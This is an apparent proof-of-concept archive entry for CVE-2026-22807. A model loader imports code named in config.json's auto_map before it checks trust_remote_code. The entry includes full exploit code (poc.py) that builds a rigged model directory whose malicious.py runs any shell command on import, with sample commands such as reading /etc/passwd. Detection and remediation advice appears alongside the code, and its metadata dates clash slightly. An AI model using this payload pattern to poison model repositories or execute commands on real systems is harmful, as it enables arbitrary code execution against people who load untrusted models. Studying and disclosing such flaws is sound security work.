PoC Archive PoC Archive
High CVE-2026-22807 unpatched

AI Model-Loader `trust_remote_code` Order-of-Operations RCE Simulation (CVE-2026-22807)

by otakuliu · 2026-07-05

Severity
High
CVE
CVE-2026-22807
Category
misc
Affected product
AI inference/model-loading frameworks that resolve custom model classes via auto_map before validating trust_remote_code (pattern seen in vLLM/Transformers-style loaders)
Affected versions
Logic-pattern PoC; not tied to a specific upstream package version
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-01
Author / Researcherotakuliu
CVE / AdvisoryCVE-2026-22807
Categorymisc
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsvllm, huggingface, trust-remote-code, toctou, model-loading, supply-chain, python, code-execution
RelatedN/A

Affected Target

FieldValue
Software / SystemAI inference/model-loading frameworks that resolve custom model classes via auto_map before validating trust_remote_code (pattern seen in vLLM/Transformers-style loaders)
Versions AffectedLogic-pattern PoC; not tied to a specific upstream package version
Language / PlatformPython 3, no third-party dependencies required
Authentication RequiredLocal-only
Network Access RequiredNo

Summary

This repository is a small, self-contained Python testbed (vulnerable_lib.py) that reproduces a class of AI supply-chain vulnerability found in model-loading frameworks: when a loader resolves a model’s Python class via a config.json’s auto_map field, it can end up importing (and therefore executing) attacker-controlled code before it ever checks whether trust_remote_code was set to False. The companion script (poc.py) builds a malicious “model” directory containing a config.json that points AutoModel at a malicious.py module, whose top-level code runs an arbitrary OS command supplied on the command line. Loading that model with trust_remote_code=False still results in the command executing, and only afterward does the loader raise its “remote code not allowed” exception — proving the security check happens too late to matter.


Vulnerability Details

Root Cause

MiniLLM.__init__() (in vulnerable_lib.py) calls _resolve_model_class() — which dynamically imports a Python file named in the model’s config.json auto_map — before checking self.trust_remote_code. Since Python executes top-level module code at import time, any code in the referenced file runs regardless of the later trust_remote_code check.

Attack Vector

  1. Attacker crafts a “model” directory with a config.json declaring "auto_map": {"AutoModel": "malicious.EvilModel"}.
  2. Attacker plants a malicious.py in that directory whose top-level code calls os.system(<attacker command>).
  3. Victim application loads the model directory via the vulnerable loader with trust_remote_code=False, intending to reject untrusted code.
  4. The loader imports malicious.py to resolve the AutoModel class before the trust check runs, executing the attacker’s command; only after execution does the loader raise RuntimeError("Aborted: Remote code not allowed!").

Impact

Arbitrary OS command execution on any system that loads an untrusted/third-party model directory through a loader with this ordering bug, even when the caller explicitly disables remote code execution.


Environment / Lab Setup

Target:   Python 3.x, no third-party libraries needed (pure-stdlib simulation of the vulnerable loader)
Attacker: Same Python 3 interpreter, running poc.py locally

Proof of Concept

PoC Script

See poc.py and vulnerable_lib.py in this folder.

1
2
python3 poc.py whoami
python3 poc.py cat /etc/passwd

Running poc.py generates a dynamic_evil_model/ directory containing a rigged config.json and a malicious.py whose body runs the command passed on the command line (defaults to whoami). It then loads that directory via MiniLLM(model_path=..., trust_remote_code=False); the console shows the injected command’s output printed before the loader’s RuntimeError is raised, confirming the bypass.


Detection & Indicators of Compromise

Signs of compromise:

  • OS commands or subprocesses observed originating from a model-loading/inference process, before any inference actually ran
  • Untrusted model directories containing extra .py files referenced from config.json’s auto_map
  • Loader logs showing a “remote code not allowed” rejection immediately after unexpected process activity (a sign the check ran too late)

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory; loaders should validate trust_remote_code before resolving/importing any auto_map-referenced code
Interim mitigationNever load third-party model directories with trust_remote_code=False assuming that setting alone is safe; vet and sandbox (container/VM, no network, restricted filesystem) any environment that loads untrusted model repositories

References


Notes

Mirrored from https://github.com/otakuliu/CVE-2026-22807_Range on 2026-07-05.

poc.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import os
import json
import sys

# 尝试导入模拟库
try:
    from vulnerable_lib import MiniLLM
except ImportError:
    print("错误:找不到 vulnerable_lib.py。")
    sys.exit(1)

# ==========================================
# 1. 获取命令行参数 (核心修改点)
# ==========================================
# sys.argv[0] 是脚本本身的名字
# sys.argv[1] 是你跟在脚本后面的第一个参数
if len(sys.argv) > 1:
    # 把参数拼接起来,支持带空格的命令 (比如: type config.json)
    user_command = " ".join(sys.argv[1:])
else:
    # 默认命令
    user_command = "whoami"

print(f"[*] 收到指令: [{user_command}]")
print(f"[*] 正在根据指令构建特制的恶意模型...")

# ==========================================
# 2. 准备环境
# ==========================================
MODEL_DIR = "dynamic_evil_model"
if not os.path.exists(MODEL_DIR):
    os.makedirs(MODEL_DIR)

# 写入 config.json (引信 - 不变)
config_data = {
    "architectures": ["EvilModel"],
    "auto_map": {
        "AutoModel": "malicious.EvilModel"
    }
}
with open(os.path.join(MODEL_DIR, "config.json"), "w", encoding='utf-8') as f:
    json.dump(config_data, f)

# ==========================================
# 3. 动态生成 malicious.py (炸药 - 变了!)
# ==========================================
# 注意:我们在字符串前加了 f,表示这是一个格式化字符串
# {user_command} 会被替换成你输入的实际命令
malicious_code = f"""
import os
import subprocess

print('\\n' + '!' * 50)
print('[+] 动态 Payload 执行成功!')
print(f'[+] 执行命令: {user_command}') 
print('[+] 命令输出结果如下: ')
print('-' * 20)

# 执行注入的命令
os.system(r'{user_command}') 

print('-' * 20)
print('!' * 50 + '\\n')

class EvilModel:
    pass
"""

with open(os.path.join(MODEL_DIR, "malicious.py"), "w", encoding='utf-8') as f:
    f.write(malicious_code)

print(f"[+] 恶意文件生成完毕,命令已注入。")

# ==========================================
# 4. 触发漏洞
# ==========================================
print("\n[STEP 2] 投递模型 -> 触发漏洞...")
try:
    # 加载刚刚生成的、带有特定命令的模型
    loader = MiniLLM(model_path=MODEL_DIR, trust_remote_code=False)
except RuntimeError:
    print("[-] 攻击完成。")
except Exception as e:
    print(f"[-] 发生错误: {e}")